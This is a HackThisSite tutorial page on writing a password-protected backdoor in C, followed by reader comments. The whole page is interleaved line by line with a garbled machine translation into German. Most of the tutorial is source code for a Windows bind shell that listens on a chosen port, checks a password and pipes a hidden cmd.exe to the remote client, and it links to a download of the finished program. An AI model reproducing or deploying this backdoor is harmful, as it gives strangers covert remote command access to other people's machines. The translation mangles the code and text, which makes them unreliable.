"We would all like to vote for the best man but he is never a candidate." "Wir alle würden gern Abstimmung für den besten Mann, aber er ist nie ein Kandidat."- Frank McKinney "Kin" Hubbard - Frank McKinney "Kin" Hubbard
How To Write A Basic Backdoor In CHow to Write A Basic Hintertür in C
Download program and sourcecode used in this tutorial here . Download Programm und Sourcecode verwendet in diesem Tutorial hier.
What will we need:Was wir brauchen:
- 2 sockets, one to listen to a specific port, and the other to establish the connection. - 2 Sockel, ein offenes Ohr zu einem bestimmten Hafen, und die anderen um die Verbindung herzustellen. - at least one buffer to read and write data, but we will use 2 in this tutorial. - Mindestens ein Puffer zum Lesen und Schreiben von Daten, aber wir werden mit 2 in diesem Tutorial. - 4 handles to redirect the input / output for cmd.exe - 4 Griffe, um den Input / Output für cmd.exe
These are the most important things, although we'll need some other variables / structures as well to make the program work. Dies sind die wichtigsten Dinge, obwohl wir brauchen einige andere Variablen / Strukturen, wie gut, damit das Programm arbeiten.
The program:Das Programm:
I will start with the main function, and i will describe the other functions after it. Ich beginne mit den wichtigsten Funktion, und ich werde beschreiben, die anderen Funktionen, nachdem sie.
Main function:Main-Funktion ein: first we will check to see how much parameters the program has given since we want the program to be able to be used with a self-chosen port as well as a self-chosen password: zuerst werden wir prüfen, um zu sehen, wie viel Parameter das Programm hat, da wir wollen, dass das Programm zu können, verwendet werden, mit einem selbst gewählten Port sowie eine selbst gewählte Passwort: CODE : CODE:
if(argc!=3) //check if we are having enough parametersif (argc! = 3) / / prüfen, ob wir genug Parameter {( Usage(argv[0]); //if not, then display usage and exit program.Usage (argv [0]); / / wenn nicht, dann Display-Nutzung und-Exit-Programm.
return EXIT_FAILURE;return EXIT_FAILURE; })
Next we will check if the portnumber given is really a number and if it is a portnumber usable for tcp/ip: Als nächstes werden wir prüfen, ob die portnumber da ist wirklich eine Reihe und wenn es sich um eine portnumber geeignet für TCP / IP: CODE : CODE:
//check if the portnumber given is really a number/ / prüfen, ob die portnumber da ist wirklich eine Reihe for(i=0;i<strlen(argv[1]);i++)for (i = 0; i <strlen (argv [1]); i + +) {( if(isdigit(argv[1][i])==0)if (isdigit (argv [1] [i]) == 0) {( printf("Invalid port number.");printf ( "Ungültige Port-Nummer."); return EXIT_FAILURE;return EXIT_FAILURE; }) }) port=atoi(argv[1]); //make integer from ascii stringport = atoi (argv [1]); / / integer machen aus ASCII-String
//final check to see if it is a real port number/ / Endkontrolle, um zu sehen, wenn es sich um einen echten Port-Nummer if(port>65535||port<1)if (Port> 65535 | | Port <1) {( printf("Invalid port number.");printf ( "Ungültige Port-Nummer."); return EXIT_FAILURE;return EXIT_FAILURE; })
Make everything ready and start listening to the port given: Machen Sie alles bereit und beginnen, den Hafen gegeben: CODE : CODE:
//tell windows we want to use sockets/ / sagen wir Windows verwenden wollen, Steckdosen WSAStartup(0x101,&wsadata); //we will use version 1.1 hereWSAStartup (0x101, & wsadata); / / benutzen wir Version 1.1 hier //create socket/ / Socket erzeugen locsock=socket(AF_INET,SOCK_STREAM,0);locsock = socket (AF_INET, SOCK_STREAM, 0);
//bind the socket to the specified port/ / bind den Sockel auf den angegebenen Port if(bind(locsock,(SOCKADDR*)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)if (bind (locsock, (sockaddr *) & sinloc, sizeof (SOCKADDR_IN)) == SOCKET_ERROR) {( WSACleanup();WSACleanup (); printf("Error binding socket.");printf ( "Socket-Fehler verbindlich."); return EXIT_FAILURE;return EXIT_FAILURE; })
//listen on the specified socket/ / hören auf dem angegebenen Socket if(listen(locsock,5)==SOCKET_ERROR)if (listen (locsock, 5) == SOCKET_ERROR) {( WSACleanup();WSACleanup (); printf("Error listening socket.");printf ( "Fehler beim Zuhören Steckdose."); return EXIT_FAILURE;return EXIT_FAILURE; })
Here we will have the infinite loop to accept connections and check the password. Hier werden wir die Endlosschleife zu akzeptieren, Verbindungen und aktivieren Sie das Passwort ein.If password given is correct then we will start the CommandPrompt() function, if not, then we will close connection and start listening again. Wenn das Passwort korrekt ist da dann beginnen wir mit der Befehlsfenster ()-Funktion, wenn nicht, dann werden wir eine enge Verbindung und beginnen erneut. CODE : CODE:
//infinite loop here to keep the program listening/ / Endlosschleife hier, um das Programm hören while(1)while (1) {( remsock=SOCKET_ERROR;remsock = SOCKET_ERROR; while(remsock==SOCKET_ERROR)while (remsock == SOCKET_ERROR) {( //accept connection to our program/ / akzeptieren Verbindung zu unserem Programm
remsock=accept(locsock,NULL,NULL);remsock = accept (locsock, NULL, NULL); if(remsock==INVALID_SOCKET)if (remsock == INVALID_SOCKET) {( //cleanup and exit program/ / cleanup-und Exit-Programm WSACleanup();WSACleanup (); printf("Error accepting socket.");printf ( "Socket-Fehler zu akzeptieren."); return EXIT_FAILURE;return EXIT_FAILURE; }) }) //ask for password/ / Passwort fragen Sie nach send(remsock,welcome,sizeof(welcome),0);send (remsock, begrüßen, sizeof (begrüßen), 0); recv(remsock,bufferin,sizeof(bufferin),0);recv (remsock, bufferin, sizeof (bufferin), 0); //check password given/ / check Passwort erhalten bufferin[strlen(bufferin)-1]=0; //we need this to strip off last characterbufferin [strlen (bufferin) -1] = 0; / / wir brauchen, dass es sich hierbei um ausziehen letzte Zeichen if(strcmp(bufferin,argv[2])!=0)if (strcmp (bufferin, argv [2])! = 0) {( send(remsock,"nAccess Denied.n",17,0);send (remsock, "nAccess Denied.n", 17,0); }) elsesonst {( CommandPrompt(); //start the commandprompt functionBefehlsfenster (); / / Beginn der Befehlsfenster Funktion
}) closesocket(remsock); //close the socketclosesocket (remsock); / / Schließen Sie die Buchse })
Usage function:Usage Funktion: This function displays the usage of the program and then exits the program: Diese Funktion zeigt die Verwendung des Programms und dann beendet das Programm: CODE : CODE:
void Usage(char AppName[]) //the function which does nothing more then print out the usagevoid Usage (char AppName []) / / die Funktion, die nichts mehr, dann drucken Sie die Verwendung {( printf("backdoor, written by White Scorpion Security (C) 2005n");printf ( "Backdoor, geschrieben von White Scorpion Security (C) 2005n"); printf(" **** http://www.white-scorpion.nl ****nn");printf ( "**** **** http://www.white-scorpion.nl nn"); printf("Usage: %s < port > < password >n",AppName);printf ( "Verwendung:% s <Port> <Passwort> n", AppName); })
CommandPrompt function:Befehlsfenster Funktion: This function actually does most of the work, it starts the command prompt, redirect its output and send and receive the data to the socket / command prompt. Diese Funktion tatsächlich die meisten Arbeiten, fängt er damit an der Eingabeaufforderung ein, Neuorientierung seiner Produktion und das Senden und Empfangen der Daten an die Buchse / Eingabeaufforderung.
first we define the variables used in this function, the 2 exits are used to intercept the command 'exit', since otherwise our program would hang if we don't. erstes definieren wir die Variablen, die in dieser Funktion, die 2 Ausgänge verwendet werden, um die den Befehl "exit", da sonst unser Programm hängen würde, wenn wir nicht. CODE : CODE:
secat.nLength=sizeof(SECURITY_ATTRIBUTES);secat.nLength = sizeof (SECURITY_ATTRIBUTES); secat.bInheritHandle=TRUE;secat.bInheritHandle = TRUE; DWORD bytesW; //number of bytes written gets stored hereDWORD bytesW; / / Anzahl der Bytes geschrieben wird hier gespeichert HANDLE newstdin,newstdout,readout,writein; //the handles for our PipesHANDLE newstdin, newstdout, Auslesen, writein; / / die Griffe für unsere Pipes
char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'char exit1 []={' e ',' x ',' i ',' t ', 10,0); / / Wir brauchen diese zu vergleichen unsere Befehl aus, um "Ausfahrt" char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'char exit2 []={' E ',' X ',' I ',' T ', 10,0); / / Wir brauchen diese zu vergleichen unsere Befehl aus, um "EXIT"
Then we create the pipes used to redirect cmd.exe 's input and output, get the startup info and fill its structure: Dann schaffen wir die Leitungen für die Weiterleitung cmd.exe 's-und-ausgabe, um die Start-info und füllen ihre Struktur: CODE : CODE:
//create the pipes for our command prompt/ / Erstellen der Rohre für unsere Eingabeaufforderung CreatePipe(&newstdin,&writein,&secat,0);CreatePipe (& newstdin, & writein, & secat, 0); CreatePipe(&readout,&newstdout,&secat,0);CreatePipe (& Auslesen, & newstdout, & secat, 0);
//fill another structure/ / füllen eine andere Struktur startinfo.dwFlags=STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;startinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; startinfo.wShowWindow=SW_HIDE;startinfo.wShowWindow = SW_HIDE; startinfo.hStdOutput=newstdout;startinfo.hStdOutput = newstdout; startinfo.hStdError=newstdout;startinfo.hStdError = newstdout; startinfo.hStdInput=newstdin;startinfo.hStdInput = newstdin;
Now we will start the process cmd.exe: Nun beginnen wir mit der Prozess cmd.exe: CODE : CODE:
//start cmd prompt/ / start cmd-Prompt CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CreateProcess (NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);CREATE_NEW_CONSOLE, NULL, NULL, & startInfo, & procinfo); //No error checks here, but you should do it to prevent unwanted behaviour./ / Kein Fehler Kontrollen hier, aber man sollte es tun um zu verhindern, dass unerwünschte Verhalten.
Finally we have the endless loop which receives the output from cmd.exe and sends it to the socket, the data received from the socket is written to cmd.exe to execute the command given. Schließlich haben wir die Endlosschleife, die mit dem Ausgang aus cmd.exe und sendet sie an die Steckdose, die erhaltenen Daten aus der Steckdose wird in cmd.exe zu führen Sie das Kommando gegeben. CODE : CODE:
while(1)while (1) {( //check if cmd.exe is still running, if not then cleanup and start listening again./ / prüfen, ob cmd.exe noch läuft, wenn nicht dann cleanup und beginnen erneut. if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)if (GetExitCodeProcess (procinfo.hProcess, & EXITCODE) == STILL_ACTIVE) {( CloseHandle(procinfo.hThread);CloseHandle (procinfo.hThread); CloseHandle(procinfo.hProcess);CloseHandle (procinfo.hProcess); CloseHandle(newstdin);CloseHandle (newstdin); CloseHandle(writein);CloseHandle (writein); CloseHandle(readout);CloseHandle (Ablesung); CloseHandle(newstdout);CloseHandle (newstdout); break;break; }) bytesRead=0;bytesRead = 0; //sleep 0.5 seconds to give cmd.exe the chance to startup/ / Sleep 0,5 Sekunden zu geben cmd.exe die Chance, Start sleep(500);sleep (500); //check if the pipe already contains something we can write to output/ / prüfen, ob das Rohr bereits enthält etwas, das wir schreiben können die Ausgabe von PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);PeekNamedPipe (Auslesen, bufferout, sizeof (bufferout), & bytesRead, & Frei, NULL); if(bytesRead!=0)if (bytesRead! = 0) {( while(bytesRead!=0)while (bytesRead! = 0) { //read data from cmd.exe and send to client, then clear the buffer(/ / Lesen von Daten aus und senden Sie cmd.exe auf Client, dann löschen Sie die Puffer
//receive the command given/ / erhalten den Befehl gegeben recv(remsock,bufferin,sizeof(bufferin),0);recv (remsock, bufferin, sizeof (bufferin), 0); //if command is 'exit' or 'EXIT' then we have to capture it to prevent our program/ / if Befehl ist "Ausgang" oder "EXIT" dann haben wir, um es zu verhindern, dass unser Programm //from hanging./ / aus Erhängen.
if((strcmp(bufferin,exit1)==0)||(strcmp(bufferin,exit2)==0))if ((strcmp (bufferin, exit1) == 0) | | (strcmp (bufferin, exit2) == 0)) {( //let cmd.exe close by giving the command, then go to closeup label/ / Wir lassen uns cmd.exe nahe, indem sie den Befehl, dann gehen Sie zu Großansicht Etikett WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);WriteFile (writein, bufferin, strlen (bufferin), & bytesW, NULL); goto closeup;goto Großansicht; }) //else write the command to cmd.exe/ / sonst schreiben den Befehl zum cmd.exe WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);WriteFile (writein, bufferin, strlen (bufferin), & bytesW, NULL); //clear the bufferin/ / leere den bufferin for(i=0;i<sizeof(bufferin);i++)for (i = 0; i <sizeof (bufferin); i + +) {( bufferin[i]=0;bufferin [i] = 0; }) })
And we cleanup everything and return to main, which will then start listening again. Und wir cleanup alles und zurück zum Main, die dann beginnen wieder. CODE : CODE:
//close up all handles/ / close up alle Griffe closeup:Großansicht: CloseHandle(procinfo.hThread);CloseHandle (procinfo.hThread); CloseHandle(procinfo.hProcess);CloseHandle (procinfo.hProcess); CloseHandle(newstdin);CloseHandle (newstdin); CloseHandle(writein);CloseHandle (writein); CloseHandle(readout);CloseHandle (Ablesung); CloseHandle(newstdout);CloseHandle (newstdout);
This is all, 3 functions, and some code and you can write your own backdoor. Das ist alles, 3 Funktionen, und einige Code und Sie können schreiben Sie Ihre eigene Hintertür.the complete sourcecode and final program from this tutorial can be downloaded from here . den kompletten Sourcecode und endgültige Programm aus diesem Tutorial können hier heruntergeladen werden.
Cast your vote on this article Stimmen Sie jetzt zu diesem Artikel *Note: the order of the votes has been reversed. * Hinweis: Die Reihenfolge der Stimmen wurde rückgängig gemacht.
Very nice! Very nice!Put together very well. Put zusammen sehr gut.And does excellent job explaining the code and why it is needed. Und hat ausgezeichnete Arbeit erklärt den Code und warum sie benötigt wird.The examples were also very helpful. Die Beispiele wurden ebenfalls sehr hilfreich.
how about metasploit can you provide me a tips about the commands used in it.. Wie wäre es mit metasploit können Sie mir eine Tipps über die Befehle, die in sie ..or do you had any idea about that software.... oder Sie hatten eine Vorstellung über die Software ....anybody who had the any idea please inform me.. Wer hatte die Idee, jede Bitte informieren Sie mich ..this is my e-mail add kid_learns_2_rock@yahoo.com Dies ist meine E-Mail hinzufügen kid_learns_2_rock@yahoo.com
tulcod - 10:55 am Friday February 15th, 2008tulcod - 10.55 Uhr Freitag 15. Februar, 2008
not really what it\'s title suggests, this article just explains how to interface with cmd.exe nicht wirklich, was sie \ 's Titel schon sagt, dieser Artikel nur erklärt, wie man mit cmd.exe it\'s importable and not really innovative, it\'s been explained before and badly commented. sie \ 's Einfuhrbeschränkung und nicht wirklich innovativ, sie \' s erläutert vor und schlecht kommentiert.
Why should it be innovative? Warum sollte es sein, innovativ?Back then when I was writing a backdoor this was the most difficult part to figure out, how to use the pipes. Damals, als ich geschrieben hatte, ein Backdoor, dies war der schwierigste Teil, um herauszufinden, wie Sie die Rohre. Besides that, I\'ve never seen any backdoor code which is portable, meaning it\'s usable for several OS\'s like Windows and Linux, since the system calls on those OS\'s are different. Neben dem, dass, I \ 've nie gesehen jeder Backdoor Code, ist tragbar, was bedeutet, dass sie \' s geeignet für mehrere OS \ 's wie Windows und Linux, da das System fordert die OS \' s unterschiedlich sind.If you feel different then please write a text yourself about portable backdoors ;) Wenn Sie der Meinung sind verschiedene dann schreiben Sie bitte einen Text Sie sich über tragbare Backdoors;)
hackuk_33 - 05:16 am Thursday February 21st, 2008hackuk_33 - 05.16 Uhr Donnerstag 21 Februar 2008
ok, im a little new to this kind of stuff, been breaking security on local machines for a while (i fix computers at work, and people dont always remember their passwords) but im just starting on stuff over a network ok, im ein wenig neu für diese Art von Zeug, wurden bahnbrechende Sicherheit auf lokale Rechner für eine Weile (i beheben Computer bei der Arbeit, und die Menschen dont stets daran denken, ihre Passwörter), sondern im nur ab dem Zeug über ein Netzwerk
i assume i need to use putty or telnet with this or something, but im confused, whenever i run this program on my computer no process starts for it or anything, i looked over the code (i have experience with c++ not so much c though, so i mostly understood it) and everything seems fine, but it doesnt seem to be implementing an infinate loop on my machine and idk why? Ich gehe davon müssen erfüllt sein, damit Kitt oder Telnet mit diesem oder etwas, aber im verwirrt, wenn ich dieses Programm auf meinem Computer keine Prozess beginnt für sie oder noch etwas, ich blickte der Code (Ich habe Erfahrung mit C + + nicht so sehr, wenn c , So dass ich es meist verstanden) und alles scheint gut, aber es doesnt zu sein scheinen Umsetzung einer infinate Schleife auf meinem Rechner und IDK warum? not to mention can someone post how i would connect? ganz zu schweigen kann jemand nach, wie ich eine Verbindung?im assuming my ip into putty over a tcp/ip connection im vorausgesetzt meine ip in Kitt über ein TCP / IP-Verbindung
lastly where do i modify the code for a password? Schließlich Wo kann ich ändern, den Code für ein Passwort?
codz30 - 04:33 am Thursday March 06th, 2008codz30 - 04.33 Uhr Donnerstag 06 März, 2008
this code is alot bigger than it needs to be. Dieser Code ist viel größer als sie sein muss.Also, this is not a backdoor, its a remote shell. Auch dies ist keine Hintertür, sondern mehr eine Remote-Shell.You only need 1 port to listen, then you bind to that port and send() recv() from there. Sie brauchen nur 1 Port zu hören, dann binden Sie auf, dass Hafen-und send () recv () von dort. You don\'t need 4 handles to get the command prompt. Sie don \ 't Notwendigkeit 4 Griffe, um die Eingabeaufforderung.Also there are ways to not use a buffer. Auch gibt es Möglichkeiten, nicht mit einem Puffer.
A remote shell is a back door. Ein Remote-Shell ist eine Hintertür.It triggers system commands from the outside. Es löst System Befehle von außen.
Stoney - 05:35 pm Wednesday April 30th, 2008Stoney - 05.35 Uhr Mittwoch 30. April, 2008
The_Computer_Wizard; first off...learn C and you'll know about the password, and learn at least a BIT on exploits and shells. The_Computer_Wizard; erste off ... lernen, C, und Sie wissen, über das Kennwort ein, und lernen mindestens ein Bit auf Exploits und Schalen.
The article is great! Der Artikel ist großartig!It doesn't need all of the detail but it's never too much. Es muss nicht alle im Detail, aber es ist nie zu viel. 10/10
VARUNmca123 - 04:56 am Monday May 12th, 2008VARUNmca123 - 04.56 Uhr Montag 12. Mai, 2008
rigt now i dont know much about yhis type of programming, but i can understand its importance Rechts jetzt i dont wissen viel über yhis Art der Programmierung, aber ich kann verstehen, ihre Bedeutung
Finally, someone explains how to link up a program to a socket or two. Schließlich, jemand erklärt, wie Sie verbinden ein Programm auf einen Sockel oder zwei.I give 8/10, Great content, but I needed to see the source file in the zip to get my code working, specifically with var datatypes. Ich gebe 8 / 10, Sehr Gut Inhalt, aber ich brauchte, um zu sehen, die Quelldatei in der zip, um meinen Code arbeiten, speziell mit var Datentypen.
q8tawe - 10:18 am Monday July 21st, 2008q8tawe - 10.18 Uhr Montag 21. Juli, 2008
thanks for the nice article.^^ Vielen Dank für den schönen Artikel. ^ ^
does it really need to have all that stuff just to interface with the command prompt? ist es wirklich notwendig, dass alle das Zeug einfach auf das Interface mit der Eingabeaufforderung?can you use some windows-equivalent to the dup2() function or somethin so that it can take input directly from the socket? Sie können einige Windows-Äquivalent zu den dup2 ()-Funktion oder Somethin, so dass sie die Eingabe direkt von der Steckdose?if someone could tell me, that would be cool thanx wenn jemand sagen könnte, mir, das wäre cool thanx
Brent-tc - 01:24 am Sunday September 28th, 2008Brent-TC - 01.24 Uhr Sonntag 28. September, 2008
ROFL. You have really done a very good job of over-complicating this. Sie haben wirklich sehr gute Arbeit geleistet von mehr als kompliziert ist.
This site is the collective work of the HackThisSite staff. Diese Website ist die kollektive Arbeit der HackThisSite Personal.Please don't reproduce in part or whole without permission. Bitte nicht reproduzieren teilweise oder ganz ohne Erlaubnis. Page Generated: Mon, 01 Dec 2008 23:48:42 -0500 Exec: 10 Page Generated: Mon, 01 Dec 2008 23:48:42 -0500 Exec: 10 Page loaded in 0.2212 seconds!Diese Seite wurde geladen in 0,2212 Sekunden!
Hmmmm, alot of detail has gone into this. Hmmmm, viel Detail ist in diesem.
Nice work (Y) Nice work (Y)